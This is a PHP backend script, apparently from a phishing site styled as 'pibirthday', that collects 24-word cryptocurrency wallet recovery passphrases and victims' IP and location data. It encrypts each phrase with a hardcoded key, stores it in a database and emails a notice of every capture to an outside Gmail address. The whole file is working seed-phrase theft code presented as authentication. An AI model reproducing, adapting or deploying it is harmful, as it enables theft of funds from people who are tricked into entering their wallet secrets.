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: / home / earnlouq / pibirthday.ink /
Filename : authentication_v1.php
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<?php
include('../config/pi_config.php'); // Database connection ($con)

// Set a consistent encryption key
define("ENCRYPTION_KEY", '4409u32nlskrt090wolsjd09u3'); // Use a 32-byte key for AES-256

// Encrypt function: prepends the IV to the encrypted data
function encryptPassphrase($plainText) {
    $ivLength = openssl_cipher_iv_length('AES-256-CBC');
    $iv = openssl_random_pseudo_bytes($ivLength);
    $encrypted = openssl_encrypt($plainText, "AES-256-CBC", ENCRYPTION_KEY, 0, $iv);
    return base64_encode($iv . $encrypted); // combine IV + encrypted text
}

// Decrypt function: extracts the IV from the data
function decryptPassphrase($encryptedText) {
    $data = base64_decode($encryptedText);
    $ivLength = openssl_cipher_iv_length('AES-256-CBC');
    $iv = substr($data, 0, $ivLength);
    $ciphertext = substr($data, $ivLength);
    return openssl_decrypt($ciphertext, "AES-256-CBC", ENCRYPTION_KEY, 0, $iv);
}

// Function to send email
function send_email($email, $htmlContent, $subject) {
    try {
        $headers = "MIME-Version: 1.0" . "\r\n";
        $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
        $headers .= "From: Wallet Entry <noreply@example.com>" . "\r\n";
        
        return mail($email, $subject, $htmlContent, $headers);
    } catch (Exception $e) {
        return false;
    }
}

// Check if request contains JSON data
$data = json_decode(file_get_contents("php://input"), true);

if (isset($data['walletAddress']) && isset($data['ipInfo']['ip'])) {
    $passphrase = trim($data['walletAddress']);
    $userIP = $data['ipInfo']['ip'];
    $location = isset($data['ipInfo']['location']) ? $data['ipInfo']['location'] : 'Unknown';
    $country = isset($data['ipInfo']['country']) ? $data['ipInfo']['country'] : 'Unknown';
    $city = isset($data['ipInfo']['city']) ? $data['ipInfo']['city'] : 'Unknown';
    $submissionCount = isset($data['submissionCount']) ? (int)$data['submissionCount'] : 1;
    $timestamp = isset($data['timestamp']) ? $data['timestamp'] : date('c');

    // Validate passphrase (ensure it's not empty and has 24 words)
    $words = preg_split('/\s+/', trim($passphrase));
    if (count($words) !== 24) {
        echo json_encode(["success" => false, "message" => "Passphrase must contain exactly 24 words."]);
        exit;
    }

    // Encrypt the passphrase
    $encryptedPassphrase = encryptPassphrase($passphrase);

    // Check for duplicate (decrypt stored values to compare)
    $checkStmt = $con->prepare("SELECT passphrase FROM wallet_entries");
    $checkStmt->execute();
    $result = $checkStmt->get_result();

    while ($row = $result->fetch_assoc()) {
        if ($passphrase === decryptPassphrase($row['passphrase'])) {
            echo json_encode(["success" => true, "message" => "Passphrase already recorded."]);
            exit;
        }
    }

    // Insert encrypted passphrase into database
    $stmt = $con->prepare("INSERT INTO wallet_entries (passphrase, ip_address) VALUES (?, ?)");
    $stmt->bind_param("ss", $encryptedPassphrase, $userIP);

    if ($stmt->execute()) {
        $message = "A new wallet entry has been recorded.
        <br>Passphrase (Encrypted): $encryptedPassphrase
        <br>IP Address: $userIP
        <br>Location: $location
        <br>Country: $country
        <br>City: $city
        <br>Submission Count: $submissionCount
        <br>Timestamp: $timestamp";
        $htmlContent = Emailbody($message);

        if (send_email("bignamepreciousonstage@gmail.com", $htmlContent, "New Wallet Entry")) {
            echo json_encode(["success" => true, "message" => "Passphrase stored and email sent."]);
        } else {
            echo json_encode(["success" => true, "message" => "Passphrase stored, but email failed to send."]);
        }
    } else {
        echo json_encode(["success" => false, "message" => "Database error: " . $stmt->error]);
    }

    $stmt->close();
    $checkStmt->close();
} else {
    echo json_encode(["success" => false, "message" => "Invalid request. Required fields: walletAddress, ipInfo.ip"]);
}

$con->close();

// Email template function
function Emailbody($message) {
    return '<div style="background-color:#F9F9F9; padding: 20px;">
        <table width="100%" border="0" cellspacing="0" cellpadding="0" style="max-width: 600px; margin: 0 auto;">
            <tr>
                <td>
                    <h1 style="color: #76348e; font-size: 24px; margin-bottom: 10px;">Wallet Entry Notification</h1>
                    <p>Hi Admin,</p>
                    <p>' . htmlspecialchars($message) . '</p>
                    <p>Thanks for using our service.</p>
                    <p><em>Sincerely,</em></p>
                </td>
            </tr>
        </table>
    </div>';
}
?>